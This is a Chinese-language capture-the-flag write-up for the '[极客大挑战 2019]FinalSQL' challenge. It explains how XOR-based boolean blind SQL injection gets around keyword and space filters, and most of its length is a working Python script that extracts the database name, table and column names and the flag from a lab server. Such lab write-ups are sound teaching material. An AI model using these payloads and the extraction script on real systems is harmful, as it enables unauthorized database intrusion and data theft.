[极客大挑战 2019]FinalSQL

打开环境，看题目就知道是个SQL题，有个登录框，上面还有5个选项：

 依次点击一下：

 这是我们注意到上面的参数值在随之变化：

 他说在下一个，我们就改成id=6看看：

 

 说明注入点应该是在id这个位置，我们输入：id=6'

显示：Error!

说明存在SQL注入，接着：id=6' or 1=1# 

显示：你可别被我逮住了，臭弟弟，说明存在过滤，那过滤了哪些呢？我们来试一下,发现过滤了空格，等号，or，and，union，select这些都过滤得差不多了，报错注入也没法用了，就只能用盲注了。

^没有被过滤，就能用异或与盲注结合，什么是异或？

当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入，其规则是：1^1=0 0^0=0 0^1=1
1^1^1=0 1^1^0=0

意思是都为真或者都为假时结果为假，如果有真有假时结果为假

构造查询语句时就可以构造：id=1^(length(database())<4)^1#

注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的

发现只有等于四的时候是返回真，说明数据库名长度为4，接着就可以用ASCII码来爆出库名，表名和字段名。

下面是参考脚本：

import requests
import sys
import time

#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("数据库名:",DBname)
    return DBname

def get_TBname(url):
    name=""
    i = 0
    print("字段内容为：")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #速度太快显示不完全
        time.sleep(0.5)


if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

就得到了答案。